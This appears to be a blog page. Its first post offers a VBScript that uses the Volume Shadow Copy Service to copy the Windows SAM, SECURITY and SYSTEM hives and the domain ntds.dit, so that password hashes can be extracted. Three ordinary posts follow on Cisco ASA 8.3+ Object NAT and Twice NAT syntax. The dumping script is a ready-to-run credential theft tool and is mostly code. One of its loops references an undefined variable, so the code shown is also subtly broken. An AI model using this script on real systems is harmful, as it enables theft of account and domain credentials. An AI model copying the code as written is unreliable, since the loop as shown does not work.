This is nothing new if you follow security. A while back Tim Tomes and Mark Baggett discovered you could safely get at system hashes by dumping the system hives and the ntds.dit with the Volume Shadowcopy Service. Tim even wrote a vbscript that allowed you to interact with windows VSS in a very detailed manner and even on workstations that didn't include full vssadmin functionality. (http://pauldotcom.com/2011/11/safely-dumping-hashes-from-liv.html)
Well being a rather lazy geek I took his script and tooled it around a bit so it did everything for me. The result was a vbscript that runs on Windows Vista, 7, and 2008 that will dump the system hives and ntds.dit if found.
I am not a true code monkey so please forgive the sloppy code :)
'''Setting Variables'''
strComputer = "."
set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
'''Start VSS'''
set objListOfServices = objWMIService.ExecQuery("Select * from Win32_Service Where Name ='VSS'")
for each objService in objListOfServices
objService.StartService()
next
'''Create a new shadow copy'''
set objShadowStorage = objWMIService.Get("Win32_ShadowCopy")
varCreateResult = objShadowStorage.Create("C:\", "ClientAccessible", strShadowID)
'''Find the directory path for the shadow copy'''
set colListItems = objWMIService.ExecQuery("Select * from Win32_ShadowCopy")
for each objListItem in colListItems
if objListItem.ID = strShadowID then
strShadowPath = objListItem.DeviceObject
end if
next
'''Copy the NTDS.DIT and SAM/SEC/SYS hives from the shadow copy volume'''
set objShell = wscript.CreateObject( "WScript.Shell" )
strComputerName = objShell.ExpandEnvironmentStrings( "%COMPUTERNAME%" )
set objFSO = CreateObject("Scripting.FileSystemObject")
strDestDir = CreateObject("Scripting.FileSystemObject").GetAbsolutePathName(".")
strShadowPath = replace(strShadowPath,"?",".",1,1)
strDumpPaths = array("\windows\system32\config\","\windows\system32\ntds\")
strDumpItems = array("SAM","SECURITY","SYSTEM","ntds.dit")
for each lstDumpPaths in strDumpPathsasreplaced
for each lstDumpItems in strDumpItems
strTempPath = strShadowPath & lstDumpPaths & lstDumpItems
if objFSO.FileExists(strTempPath) then
objFSO.CopyFile strTempPath, strDestDir & "\" & strComputerName & "-" & lstDumpItems, true
end if
next
next
'''Delete the temporary shadow copy'''
set objDelItems = objWMIService.ExecQuery("Select * From Win32_ShadowCopy")
for each lstDelItem in objDelItems
if lstDelItem.ID = strShadowID then
varDelResult = lstDelItem.Delete_
end if
next
2012-02-29
ASA NAT Part 3 - Twice NAT Breakdown
Twice NAT Breakdown
Twice NAT can be a bit intimidating when your first look at
it since the statements are much longer and have more variables. The best way I
have found to approach it is to just break it down and look at it in chunks. It’s
also important to note that Twice NAT requires the use of network and service objects.
You can’t use straight up numbers for source or destination addresses and port
numbers. Lastly all Twice NAT statements are added at the global config level.
Command
ASA(config)# nat (original-interface,translated-interface) [line-number|{after-auto
[line-number]}] source static|dynamic original-object
interface|translated-object
[destination static original-destination
translated-destination] [service
original-service-object translated-service-object] [dns]
[unidirectional] [inactive] [description text]
Interfaces
(original-interface,translated-interface)
(original
interface,translated interface) - The “original interface” is the interface
where object you are applying the NAT too exists and the “translated interface”
is the interface where you are making your resource available. The ‘any’
keyword can be used when specifying the original or translated interfaces.
Placement
[line-number|{after-auto
[line-number]}]
line-number – Optional. If you wish to insert the NAT rule
at a specific location you can do so by using the line-number command. If
omitted the rule will be appended to the end of section 1.
after-object [line-number] – Optional. If you want to mark
the NAT rule to be processed in section three, after object NAT, use the
after-object flag. Additionally if you specify a line number you may insert the
after-object NAT at specific location in section 3.
Source address
translation
source static|dynamic
original-object interface|translated-object
source – Specifies the following commands are parameters for
modifying the source address of a packet during translation.
static|dynamic – This simply notes if your performing a static
or dynamic NAT.
original-object – This object identifies what source address
or network we want to translate
interface|translated-object – Here is where we specify what
we want our source address or network to be after translation. We can use
either the interface address of the translated interface or an object.
Destination address
translation
[destination static original-destination
translated-destination]
destination – Specifies the following commands are
parameters for modifying the destination address of a packet during
translation.
static – Only option here. Tells the ASA we are doing a
static translation on the destination address.
original-destination – This is where we identify the
original destination address of a packet. Unless a packet has the destination
address specified here the rule won’t apply.
translated-destination – Here we can change the destination
address of a packet to something else.
Port translations
[service original-service-object
translated-service-object]
service – Specifies the following commands are parameters
for modifying the source and or destination port numbers of a packet during
translation.
original-service-object – This is the service object that
identifies the original source and or destination ports of a packet. Unless a
packet has the source and or destination ports noted in this service object the
rule won’t apply.
translated-service-object – This is where we can change the
source and or destination ports of a packet.
Optional flags
[dns] [unidirectional] [inactive]
[description {text}]
dns – This flags the rule for DNS re-writes. Can only be
used on static 1 to 1 NAT.
unidirectional – NAT by nature is a two way process, but by
using this flag a translation can be forced only work in a single direction.
inactive – This flag will prevent a rule from being used
even though it is present.
description {text} – This flag lets us add a short
description to a rule.
Like Object NAT it’s not a perfect system and it certainly
has its fair share of annoyances, like not being able to use straight out
numbers for addresses or ports. The biggest gotcha I found with Twice NAT is
that service objects can have both source and destination ports defined. Its
entirely possible to make rules that will never match any traffic and doing a
simple ‘show run nat’ won’t display the contents of the objects so it can be
very easy to overlook when troubleshooting a NAT issue. Overall though I think
it’s a great system. It could use a few improvements for sure but that’s true
of anything.
ASA NAT Part 2 - Object NAT Breakdown
Object NAT Breakdown
Since all Object NATs are properties of objects they are
added at the object configuration level. This also makes the address or range
defined in the object the original source. It may be a little weird at first
when looking at an object NAT since you don’t explicitly define an original
source like you would have with pre 8.3 NAT.
Command
ASA(config-object-network)# nat
(original-interface,translated-interface) source
static|dynamic ip|object|interface [service
tcp|udp source-port translated-port] [dns] [unidirectional]
[inactive] [description text]
Interfaces
(original-interface,translated-interface)
(original-interface,translated-interface) - The “original-interface”
is the interface where the resource you are applying translation exists and the
“translated-interface” is the interface where you are making your resource
available. The ‘any’ keyword can be used when specifying the original or
translated interfaces.
Source Address
Translation
source static|dynamic
ip|object|interface
source – Specifies the following commands are parameters for
modifying the source address of a packet during translation.
static|dynamic – This simply notes if your doing a static or
dynamic translation.
ip|object|interface – Here is where you specify the IP
address, object, or interface you want your resource to use after translation.
If you specify ‘interface’ the translation will use the address assigned to the
translated interface denoted in first part of the command.
Port Translations
[service tcp|udp source-port
translated-port]
service – Only available when doing static NAT. When used this option gives you the ability to
translate only a specific port or port rage. Just remember that you can only
have one translation per object so if you need to do PAT for multiple
discontiguous ports on the same host you need to setup multiple objects with
the same host address.
tcp|udp – Used to specify a specific port or port range as
being either a TCP or UDP port.
source-port – The “source-port” is the port on the host you
want to make available.
translated-port – The “translated-port” is the port that
will be visible on the translated address. If the source port is 80 and the
translated port is 8080 then traffic hitting the translated address on port 8080
will be directed to the original address on port 80.
Optional Flags
[dns] [unidirectional] [inactive]
[description {text}]
dns – This flags the rule for DNS re-writes. Can only be
used on static 1 to 1 NAT.
unidirectional – NAT by nature is a two way process, but by
using this flag a translation can be forced only work in a single direction.
inactive – This flag will prevent a rule from being used
even though it is present.
description {text} – This flag lets us add a short
description to a rule.
ASA NAT Part 1 - Introduction
I intended to publish this sooner but got wrapped up in life; new job, exams to study for and so on. Even though this is quite a few months late now that ASA 8.4 is out the door now it still a pretty solid summary on now the new NAT system works.
Much to the dismay of many the release of the ASA 8.3+ code base brought
radical changes in the way NAT was done on the ASA. I was initially
apprehensive about the change and cursed Cisco for such implementing such
drastic and confusing changes. However, not all change is bad; after spending a
few weeks of working with it and figuring it out I grew to love the new system.
Withstanding a few minor annoyances, I found it to be a much more flexible and
concise compared to the old way.
The first big change is that NAT has been redesigned around
using objects. The second is that NAT was split into two forms: Object NAT and
Twice NAT. In the first form, Object NAT, the translation becomes a property of
an object. The second form, Twice NAT, has the ability to modify both the
source and destination addresses of a packet with a single rule. Since we can
do conditional translations with Twice NAT the old method of policy NAT with
access-lists has been replaced with this new method.
One of the most important concepts to understand with the
new system is how all the translation rules are ordered and processed by the firewall.
Any NAT commands entered are categorized
and placed into one of three sections. The rules in each section as well as the
sections themselves are then processed sequentially from top to bottom.
The first section is “Before Object NAT”. In this section
rules are added with Twice NAT statements and can be manually ordered. It’s
also important to note that remote access VPN clients will append entries to
the end of this section so its important to be mindful of adding any rules that
could overlap with your VPN client address ranges.
The second section is “Object NAT”. This section is where
any rules that are properties of an object will appear. All the entries in this
section are automatically ordered based on a few simple guidelines. First, static
NATs will be placed before dynamic NATs. The next thing checked is the quantity
of IPs being translated. A NAT with a large range of IPs will be processed
before a NAT using a single IP. Finally, if multiple entries with the same
number of IPs exist they will be sorted from lowest IP to highest IP. One of
the big annoyances I have found with Object NAT is that only a single translation
can be applied to any one object. In the case of multiple PATs on a single address
the use of multiple objects with the same address is required; one object for
each PAT rule.
The third section is “After Object NAT”. Functionally this
section is identical to the first with the exception of being processed after
the “Object NAT” rules. Rules are placed in this section through the use of a special
flag in a Twice NAT statement.
The next big departure from the old method is how we write
access-lists for our translated resources. In older versions of the code, when you
wanted to allow incoming traffic to a public facing server you had to write an
access-list that permitted traffic destined to your public facing IP address. In
the post 8.3 world you now have to specify the IP or object of the internal host in your access-list instead of the public facing IP. Cisco calls this function
Real IP.
Subscribe to:
Posts (Atom)